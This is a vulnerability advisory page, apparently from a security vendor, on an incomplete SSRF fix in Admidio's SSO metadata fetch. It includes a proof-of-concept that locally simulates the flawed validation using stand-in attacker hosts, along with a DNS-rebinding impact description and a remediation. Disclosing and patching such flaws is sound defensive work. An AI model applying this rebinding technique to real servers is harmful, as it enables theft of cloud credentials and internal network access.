CVE-2026-42194 is a medium-severity (CVSS 6.8) Server-Side Request Forgery (SSRF) vulnerability in admidio/admidio. A fix is available for admidio/admidio — see the affected versions and patch details below.
Incomplete fix for CVE-2026-32812: SSRF in admidio
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42194.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-42194 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
admidio/admidioReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The incomplete SSRF fix in Admidio's fetch_metadata.php validates the resolved IP address but passes the original hostname-based URL to curl_init(), leaving a DNS rebinding TOCTOU window that allows redirecting requests to internal IPs.
Affected Package
- Ecosystem: Other
- Package: admidio
- Affected versions: < commit f6b7a966abe4d75e9f707d665d7b4b5570e3185a
- Patched versions: >= commit f6b7a966abe4d75e9f707d665d7b4b5570e3185a
Severity
Medium
CWE
CWE-918 — Server-Side Request Forgery (SSRF)
Details
In modules/sso/fetch_metadata.php (lines 21-49), the SSO metadata fetch validates the URL scheme is HTTPS (line 21), runs filter_var($rawUrl, FILTER_VALIDATE_URL) (line 27), resolves the hostname via gethostbyname() and checks the IP against private/reserved ranges (lines 34-38), then passes the original URL with the hostname to curl_init($url) at line 41.
The fundamental problem is at step 4: cURL resolves the hostname again independently. Between gethostbyname() at step 3 and curl_exec() at step 4, a DNS rebinding attack can cause the hostname to resolve to 169.254.169.254 (AWS metadata), 127.0.0.1, or any other internal address. No CURLOPT_RESOLVE is set to pin the hostname to the validated IP.
The TOCTOU window between gethostbyname() and curl_exec() is the core issue, and the patch does not close it.
PoC
#!/usr/bin/env python3
"""
CVE-2026-32812 - Admidio SSRF via DNS Rebinding in fetch_metadata.php
Vulnerability: modules/sso/fetch_metadata.php resolves hostname via gethostbyname()
and checks if IP is private, but passes the ORIGINAL URL (with hostname) to curl_init().
DNS rebinding can cause hostname to resolve to internal IP when cURL actually connects.
Real vulnerable PHP code copied from:
Admidio/admidio, modules/sso/fetch_metadata.php
This PoC runs the actual PHP validation logic via `php -r`.
"""
import subprocess
import sys
import os
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
VULN_PHP = os.path.join(SCRIPT_DIR, "fetch_metadata.php")
def run_php(code):
return subprocess.run(["php", "-r", code], capture_output=True, text=True, timeout=15)
def main():
if not os.path.exists(VULN_PHP):
print(f"ERROR: Vulnerable PHP source not found at {VULN_PHP}")
sys.exit(1)
print(f"Source file: {VULN_PHP}")
print("Extracted from: Admidio/admidio, modules/sso/fetch_metadata.php\n")
php_code = r"""
echo "=== CVE-2026-32812: Admidio SSRF via DNS Rebinding ===\n\n";
// Extracted from: modules/sso/fetch_metadata.php lines 21-49
// Character-for-character copy of the validation logic:
function test_admidio_ssrf_filter($rawUrl, $simulated_ip) {
// Only allow https:// scheme (line 21)
if (!preg_match('#^https://#i', $rawUrl)) {
return ['blocked' => true, 'reason' => 'Not HTTPS'];
}
// Validate URL (line 27)
$url = filter_var($rawUrl, FILTER_VALIDATE_URL);
if (!$url) {
return ['blocked' => true, 'reason' => 'Invalid URL'];
}
// Resolve hostname and block internal/private IP ranges (lines 34-38)
$host = parse_url($url, PHP_URL_HOST);
$ip = $simulated_ip; // In real code: gethostbyname($host)
if (filter_var($ip, FILTER_VALIDATE_IP,
FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
return ['blocked' => true, 'reason' => "Private/reserved IP: $ip"];
}
// VULNERABILITY: curl_init($url) at line 41 uses original URL with hostname
return [
'blocked' => false,
'url_passed_to_curl' => $url,
'host' => $host,
'checked_ip' => $ip,
];
}
$tests = [
['https://attacker-rebind.example.com/saml/metadata', '93.184.216.34',
'Public IP at check time - passes, then DNS rebinds to 169.254.169.254'],
['https://attacker-rebind.example.com/saml/metadata', '169.254.169.254',
'After rebind to metadata - blocked IF re-checked'],
['https://192.168.1.1/admin', '192.168.1.1',
'Direct private IP - blocked'],
['https://10.0.0.1/internal', '10.0.0.1',
'Direct internal IP - blocked'],
['http://attacker.com/metadata', '93.184.216.34',
'HTTP scheme - blocked (HTTPS required)'],
['https://evil.com/metadata', '8.8.8.8',
'External HTTPS URL - passes'],
];
$vuln_found = false;
foreach ($tests as $test) {
$result = test_admidio_ssrf_filter($test[0], $test[1]);
$status = $result['blocked'] ? 'BLOCKED' : 'PASSED';
echo sprintf("%-65s => %s\n", $test[2], $status);
if (!$result['blocked']) {
$curl_host = parse_url($result['url_passed_to_curl'], PHP_URL_HOST);
if ($curl_host !== $result['checked_ip']) {
echo " VULN: cURL gets hostname '$curl_host' (checked IP: '{$result['checked_ip']}')\n";
echo " DNS can rebind between gethostbyname() and cURL connect\n";
$vuln_found = true;
}
}
}
echo "\n=== Key Finding ===\n";
echo "fetch_metadata.php line 41: curl_init(\$url) uses ORIGINAL URL with hostname\n";
echo "IP check on line 35 used gethostbyname() result.\n";
echo "TOCTOU window: DNS can rebind between check and cURL connection.\n";
echo "CURLOPT_RESOLVE is NOT set to pin hostname to checked IP.\n\n";
if ($vuln_found) {
echo "VULNERABILITY CONFIRMED\n";
}
"""
result = run_php(php_code)
print(result.stdout)
if result.stderr:
print(f"PHP stderr: {result.stderr}")
if "VULNERABILITY CONFIRMED" in result.stdout:
print("VULNERABILITY CONFIRMED")
sys.exit(0)
else:
print("Vulnerability test inconclusive")
sys.exit(1)
if __name__ == "__main__":
main()
Steps to reproduce:
- Place the vulnerable
fetch_metadata.phpsource in the same directory. - Ensure PHP CLI is installed, then run
python3 poc.py. - Observe the TOCTOU window where cURL receives a hostname instead of the validated IP.
Expected output:
VULNERABILITY CONFIRMED
curl_init() uses the original hostname-based URL while IP validation used gethostbyname(), leaving a DNS rebinding TOCTOU window.
Impact
An attacker can exploit the SSO metadata fetch endpoint to make the Admidio server issue HTTPS requests to internal services. On cloud-hosted instances, this enables reading the instance metadata service (169.254.169.254) to steal IAM credentials. On-premise deployments can be used to scan internal networks or access localhost services.
Suggested Remediation
Use CURLOPT_RESOLVE to pin the hostname to the IP address returned by gethostbyname(), ensuring cURL connects to the exact IP that was validated:
$resolve = ["$host:443:$ip"];
curl_setopt($ch, CURLOPT_RESOLVE, $resolve);
Resources
- Incomplete fix commit: https://github.com/Admidio/admidio/commit/f6b7a966abe4d75e9f707d665d7b4b5570e3185a
- Original CVE: CVE-2026-32812
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | admidio/admidio | all versions | 5.0.9composer require admidio/admidio:^5.0.9 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for admidio/admidio, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update admidio/admidio to 5.0.9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-42194 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-42194 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-42194. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-42194 in your dependencies?
O3 Security finds CVE-2026-42194 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.